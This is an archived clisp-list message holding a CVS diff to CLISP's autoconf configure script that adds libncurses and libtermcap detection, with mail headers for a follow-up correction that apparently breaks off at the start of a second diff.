Index: configure =================================================================== RCS file: /cvsroot/clisp/clisp/src/configure,v retrieving revision 1.135 diff -u -w -u -b -w -i -B -r1.135 configure --- configure 6 Oct 2005 02:10:27 -0000 1.135 +++ configure 7 Oct 2005 14:28:10 -0000 @@ -315,7 +315,7 @@ # include #endif" -ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS' +ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBNCURSES LTLIBNCURSES LIBTERMCAP LTLIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS' ac_subst_files='' # Initialize some variables set by options. @@ -871,6 +871,10 @@ --with-libsigsegv-prefix[=DIR] search for libsigsegv in DIR/include and DIR/lib --without-libsigsegv-prefix don't search for libsigsegv in includedir and libdir --with-x use the X Window System + --with-libncurses-prefix[=DIR] search for libncurses in DIR/include and DIR/lib + --without-libncurses-prefix don't search for libncurses in includedir and libdir + --with-libtermcap-prefix[=DIR] search for libtermcap in DIR/include and DIR/lib + --without-libtermcap-prefix don't search for libtermcap in includedir and libdir --with-readline use readline (default is YES, if present) --with-libreadline-prefix[=DIR] search for libreadline in DIR/include and DIR/lib --without-libreadline-prefix don't search for libreadline in includedir and libdir @@ -24707,6 +24711,887 @@ { echo "$as_me:$LINENO: * checks for libraries" >&5 echo "$as_me: * checks for libraries" >&6;} +ac_aux_dir= +for ac_dir in ../../src/build-aux $srcdir/../../src/build-aux; do + if test -f $ac_dir/install-sh; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install-sh -c" + break + elif test -f $ac_dir/install.sh; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install.sh -c" + break + elif test -f $ac_dir/shtool; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/shtool install -c" + break + fi +done +if test -z "$ac_aux_dir"; then + { { echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in ../../src/build-aux $srcdir/../../src/build-aux" >&5 +echo "$as_me: error: cannot find install-sh or install.sh in ../../src/build-aux $srcdir/../../src/build-aux" >&2;} + { (exit 1); exit 1; }; } +fi +ac_config_guess="$SHELL $ac_aux_dir/config.guess" +ac_config_sub="$SHELL $ac_aux_dir/config.sub" +ac_configure="$SHELL $ac_aux_dir/configure" # This should be Cygnus configure. + + + + + + + echo "$as_me:$LINENO: checking how to link with libncurses" >&5 +echo $ECHO_N "checking how to link with libncurses... $ECHO_C" >&6 +if test "${ac_cv_libncurses_libs+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + + + + use_additional=yes + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + +# Check whether --with-libncurses-prefix or --without-libncurses-prefix was given. +if test "${with_libncurses_prefix+set}" = set; then + withval="$with_libncurses_prefix" + + if test "X$withval" = "Xno"; then + use_additional=no + else + if test "X$withval" = "X"; then + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + else + additional_includedir="$withval/include" + additional_libdir="$withval/lib" + fi + fi + +fi; + LIBNCURSES= + LTLIBNCURSES= + INCNCURSES= + rpathdirs= + ltrpathdirs= + names_already_handled= + names_next_round='ncurses ' + while test -n "$names_next_round"; do + names_this_round="$names_next_round" + names_next_round= + for name in $names_this_round; do + already_handled= + for n in $names_already_handled; do + if test "$n" = "$name"; then + already_handled=yes + break + fi + done + if test -z "$already_handled"; then + names_already_handled="$names_already_handled $name" + uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./-|ABCDEFGHIJKLMNOPQRSTUVWXYZ___|'` + eval value=\"\$HAVE_LIB$uppername\" + if test -n "$value"; then + if test "$value" = yes; then + eval value=\"\$LIB$uppername\" + test -z "$value" || LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$value" + eval value=\"\$LTLIB$uppername\" + test -z "$value" || LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }$value" + else + : + fi + else + found_dir= + found_la= + found_so= + found_a= + if test $use_additional = yes; then + if test -n "$shlibext" && test -f "$additional_libdir/lib$name.$shlibext"; then + found_dir="$additional_libdir" + found_so="$additional_libdir/lib$name.$shlibext" + if test -f "$additional_libdir/lib$name.la"; then + found_la="$additional_libdir/lib$name.la" + fi + else + if test -f "$additional_libdir/lib$name.$libext"; then + found_dir="$additional_libdir" + found_a="$additional_libdir/lib$name.$libext" + if test -f "$additional_libdir/lib$name.la"; then + found_la="$additional_libdir/lib$name.la" + fi + fi + fi + fi + if test "X$found_dir" = "X"; then + for x in $LDFLAGS $LTLIBNCURSES; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + case "$x" in + -L*) + dir=`echo "X$x" | sed -e 's/^X-L//'` + if test -n "$shlibext" && test -f "$dir/lib$name.$shlibext"; then + found_dir="$dir" + found_so="$dir/lib$name.$shlibext" + if test -f "$dir/lib$name.la"; then + found_la="$dir/lib$name.la" + fi + else + if test -f "$dir/lib$name.$libext"; then + found_dir="$dir" + found_a="$dir/lib$name.$libext" + if test -f "$dir/lib$name.la"; then + found_la="$dir/lib$name.la" + fi + fi + fi + ;; + esac + if test "X$found_dir" != "X"; then + break + fi + done + fi + if test "X$found_dir" != "X"; then + LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-L$found_dir -l$name" + if test "X$found_so" != "X"; then + if test "$enable_rpath" = no || test "X$found_dir" = "X/usr/lib"; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so" + else + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $found_dir" + fi + if test "$hardcode_direct" = yes; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so" + else + if test -n "$hardcode_libdir_flag_spec" && test "$hardcode_minus_L" = no; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so" + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $found_dir" + fi + else + haveit= + for x in $LDFLAGS $LIBNCURSES; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$found_dir" + fi + if test "$hardcode_minus_L" != no; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so" + else + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-l$name" + fi + fi + fi + fi + else + if test "X$found_a" != "X"; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_a" + else + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$found_dir -l$name" + fi + fi + additional_includedir= + case "$found_dir" in + */lib | */lib/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e 's,/lib/*$,,'` + additional_includedir="$basedir/include" + ;; + esac + if test "X$additional_includedir" != "X"; then + if test "X$additional_includedir" != "X/usr/include"; then + haveit= + if test "X$additional_includedir" = "X/usr/local/include"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + for x in $CPPFLAGS $INCNCURSES; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-I$additional_includedir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_includedir"; then + INCNCURSES="${INCNCURSES}${INCNCURSES:+ }-I$additional_includedir" + fi + fi + fi + fi + fi + if test -n "$found_la"; then + save_libdir="$libdir" + case "$found_la" in + */* | *\\*) . "$found_la" ;; + *) . "./$found_la" ;; + esac + libdir="$save_libdir" + for dep in $dependency_libs; do + case "$dep" in + -L*) + additional_libdir=`echo "X$dep" | sed -e 's/^X-L//'` + if test "X$additional_libdir" != "X/usr/lib"; then + haveit= + if test "X$additional_libdir" = "X/usr/local/lib"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + haveit= + for x in $LDFLAGS $LIBNCURSES; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$additional_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_libdir"; then + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$additional_libdir" + fi + fi + haveit= + for x in $LDFLAGS $LTLIBNCURSES; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$additional_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_libdir"; then + LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-L$additional_libdir" + fi + fi + fi + fi + ;; + -R*) + dir=`echo "X$dep" | sed -e 's/^X-R//'` + if test "$enable_rpath" != no; then + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $dir" + fi + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $dir" + fi + fi + ;; + -l*) + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'` + ;; + *.la) + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'` + ;; + *) + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$dep" + LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }$dep" + ;; + esac + done + fi + else + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-l$name" + LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-l$name" + fi + fi + fi + done + done + if test "X$rpathdirs" != "X"; then + if test -n "$hardcode_libdir_separator"; then + alldirs= + for found_dir in $rpathdirs; do + alldirs="${alldirs}${alldirs:+$hardcode_libdir_separator}$found_dir" + done + acl_save_libdir="$libdir" + libdir="$alldirs" + eval flag=\"$hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$flag" + else + for found_dir in $rpathdirs; do + acl_save_libdir="$libdir" + libdir="$found_dir" + eval flag=\"$hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$flag" + done + fi + fi + if test "X$ltrpathdirs" != "X"; then + for found_dir in $ltrpathdirs; do + LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-R$found_dir" + done + fi + + ac_cv_libncurses_libs="$LIBNCURSES" + ac_cv_libncurses_ltlibs="$LTLIBNCURSES" + ac_cv_libncurses_cppflags="$INCNCURSES" + +fi +echo "$as_me:$LINENO: result: $ac_cv_libncurses_libs" >&5 +echo "${ECHO_T}$ac_cv_libncurses_libs" >&6 + LIBNCURSES="$ac_cv_libncurses_libs" + LTLIBNCURSES="$ac_cv_libncurses_ltlibs" + INCNCURSES="$ac_cv_libncurses_cppflags" + + for element in $INCNCURSES; do + haveit= + for x in $CPPFLAGS; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X$element"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }$element" + fi + done + + + + HAVE_LIBNCURSES=yes + + + + + + + + + echo "$as_me:$LINENO: checking how to link with libtermcap" >&5 +echo $ECHO_N "checking how to link with libtermcap... $ECHO_C" >&6 +if test "${ac_cv_libtermcap_libs+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + + + + use_additional=yes + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + +# Check whether --with-libtermcap-prefix or --without-libtermcap-prefix was given. +if test "${with_libtermcap_prefix+set}" = set; then + withval="$with_libtermcap_prefix" + + if test "X$withval" = "Xno"; then + use_additional=no + else + if test "X$withval" = "X"; then + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + else + additional_includedir="$withval/include" + additional_libdir="$withval/lib" + fi + fi + +fi; + LIBTERMCAP= + LTLIBTERMCAP= + INCTERMCAP= + rpathdirs= + ltrpathdirs= + names_already_handled= + names_next_round='termcap ' + while test -n "$names_next_round"; do + names_this_round="$names_next_round" + names_next_round= + for name in $names_this_round; do + already_handled= + for n in $names_already_handled; do + if test "$n" = "$name"; then + already_handled=yes + break + fi + done + if test -z "$already_handled"; then + names_already_handled="$names_already_handled $name" + uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./-|ABCDEFGHIJKLMNOPQRSTUVWXYZ___|'` + eval value=\"\$HAVE_LIB$uppername\" + if test -n "$value"; then + if test "$value" = yes; then + eval value=\"\$LIB$uppername\" + test -z "$value" || LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$value" + eval value=\"\$LTLIB$uppername\" + test -z "$value" || LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }$value" + else + : + fi + else + found_dir= + found_la= + found_so= + found_a= + if test $use_additional = yes; then + if test -n "$shlibext" && test -f "$additional_libdir/lib$name.$shlibext"; then + found_dir="$additional_libdir" + found_so="$additional_libdir/lib$name.$shlibext" + if test -f "$additional_libdir/lib$name.la"; then + found_la="$additional_libdir/lib$name.la" + fi + else + if test -f "$additional_libdir/lib$name.$libext"; then + found_dir="$additional_libdir" + found_a="$additional_libdir/lib$name.$libext" + if test -f "$additional_libdir/lib$name.la"; then + found_la="$additional_libdir/lib$name.la" + fi + fi + fi + fi + if test "X$found_dir" = "X"; then + for x in $LDFLAGS $LTLIBTERMCAP; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + case "$x" in + -L*) + dir=`echo "X$x" | sed -e 's/^X-L//'` + if test -n "$shlibext" && test -f "$dir/lib$name.$shlibext"; then + found_dir="$dir" + found_so="$dir/lib$name.$shlibext" + if test -f "$dir/lib$name.la"; then + found_la="$dir/lib$name.la" + fi + else + if test -f "$dir/lib$name.$libext"; then + found_dir="$dir" + found_a="$dir/lib$name.$libext" + if test -f "$dir/lib$name.la"; then + found_la="$dir/lib$name.la" + fi + fi + fi + ;; + esac + if test "X$found_dir" != "X"; then + break + fi + done + fi + if test "X$found_dir" != "X"; then + LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-L$found_dir -l$name" + if test "X$found_so" != "X"; then + if test "$enable_rpath" = no || test "X$found_dir" = "X/usr/lib"; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so" + else + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $found_dir" + fi + if test "$hardcode_direct" = yes; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so" + else + if test -n "$hardcode_libdir_flag_spec" && test "$hardcode_minus_L" = no; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so" + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $found_dir" + fi + else + haveit= + for x in $LDFLAGS $LIBTERMCAP; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$found_dir" + fi + if test "$hardcode_minus_L" != no; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so" + else + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-l$name" + fi + fi + fi + fi + else + if test "X$found_a" != "X"; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_a" + else + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$found_dir -l$name" + fi + fi + additional_includedir= + case "$found_dir" in + */lib | */lib/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e 's,/lib/*$,,'` + additional_includedir="$basedir/include" + ;; + esac + if test "X$additional_includedir" != "X"; then + if test "X$additional_includedir" != "X/usr/include"; then + haveit= + if test "X$additional_includedir" = "X/usr/local/include"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + for x in $CPPFLAGS $INCTERMCAP; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-I$additional_includedir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_includedir"; then + INCTERMCAP="${INCTERMCAP}${INCTERMCAP:+ }-I$additional_includedir" + fi + fi + fi + fi + fi + if test -n "$found_la"; then + save_libdir="$libdir" + case "$found_la" in + */* | *\\*) . "$found_la" ;; + *) . "./$found_la" ;; + esac + libdir="$save_libdir" + for dep in $dependency_libs; do + case "$dep" in + -L*) + additional_libdir=`echo "X$dep" | sed -e 's/^X-L//'` + if test "X$additional_libdir" != "X/usr/lib"; then + haveit= + if test "X$additional_libdir" = "X/usr/local/lib"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + haveit= + for x in $LDFLAGS $LIBTERMCAP; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$additional_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_libdir"; then + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$additional_libdir" + fi + fi + haveit= + for x in $LDFLAGS $LTLIBTERMCAP; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X-L$additional_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_libdir"; then + LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-L$additional_libdir" + fi + fi + fi + fi + ;; + -R*) + dir=`echo "X$dep" | sed -e 's/^X-R//'` + if test "$enable_rpath" != no; then + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $dir" + fi + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $dir" + fi + fi + ;; + -l*) + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'` + ;; + *.la) + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'` + ;; + *) + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$dep" + LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }$dep" + ;; + esac + done + fi + else + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-l$name" + LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-l$name" + fi + fi + fi + done + done + if test "X$rpathdirs" != "X"; then + if test -n "$hardcode_libdir_separator"; then + alldirs= + for found_dir in $rpathdirs; do + alldirs="${alldirs}${alldirs:+$hardcode_libdir_separator}$found_dir" + done + acl_save_libdir="$libdir" + libdir="$alldirs" + eval flag=\"$hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$flag" + else + for found_dir in $rpathdirs; do + acl_save_libdir="$libdir" + libdir="$found_dir" + eval flag=\"$hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$flag" + done + fi + fi + if test "X$ltrpathdirs" != "X"; then + for found_dir in $ltrpathdirs; do + LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-R$found_dir" + done + fi + + ac_cv_libtermcap_libs="$LIBTERMCAP" + ac_cv_libtermcap_ltlibs="$LTLIBTERMCAP" + ac_cv_libtermcap_cppflags="$INCTERMCAP" + +fi +echo "$as_me:$LINENO: result: $ac_cv_libtermcap_libs" >&5 +echo "${ECHO_T}$ac_cv_libtermcap_libs" >&6 + LIBTERMCAP="$ac_cv_libtermcap_libs" + LTLIBTERMCAP="$ac_cv_libtermcap_ltlibs" + INCTERMCAP="$ac_cv_libtermcap_cppflags" + + for element in $INCTERMCAP; do + haveit= + for x in $CPPFLAGS; do + + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + eval x=\"$x\" + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" + + if test "X$x" = "X$element"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }$element" + fi + done + + + + HAVE_LIBTERMCAP=yes + + + LIBTERMCAP="broken" echo "$as_me:$LINENO: checking for library containing tgetent" >&5 echo $ECHO_N "checking for library containing tgetent... $ECHO_C" >&6 @@ -35223,7 +36108,10 @@ s,@X_LIBS@,$X_LIBS,;t t s,@GMALLOC@,$GMALLOC,;t t s,@ALLOCA@,$ALLOCA,;t t +s,@LIBNCURSES@,$LIBNCURSES,;t t +s,@LTLIBNCURSES@,$LTLIBNCURSES,;t t s,@LIBTERMCAP@,$LIBTERMCAP,;t t +s,@LTLIBTERMCAP@,$LTLIBTERMCAP,;t t s,@PACKAGE@,$PACKAGE,;t t s,@LIBOBJS@,$LIBOBJS,;t t s,@LTLIBOBJS@,$LTLIBOBJS,;t t From sds@gnu.org Fri Oct 07 08:33:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ENuED-0005fo-Tj for clisp-list@lists.sourceforge.net; Fri, 07 Oct 2005 08:33:46 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ENuDz-0001P2-Eq for clisp-list@lists.sourceforge.net; Fri, 07 Oct 2005 08:33:45 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j97FX9Cd021010; Fri, 7 Oct 2005 11:33:14 -0400 (EDT) To: clisp-list@lists.sourceforge.net Cc: Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Sam Steingold's message of "Fri, 07 Oct 2005 10:28:43 -0400") References: <43464572.5090505@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.3 LONGWORDS Long string of long words -1.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Oct 7 08:48:04 2005 X-Original-Date: Fri, 07 Oct 2005 11:32:10 -0400 oops - here is the correct patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k UNIX is a way of thinking. Windows is a way of not thinking. Index: configure =================================================================== RCS file: /cvsroot/clisp/clisp/src/configure,v retrieving revision 1.135 diff -u -w -u -b -w -i -B -r1.135 configure --- configure 6 Oct 2005 02:10:27 -0000 1.135 +++ configure 7 Oct 2005 15:23:51 -0000 @@ -315,7 +315,7 @@ # include #endif" -ac_subst_vars='SHELL 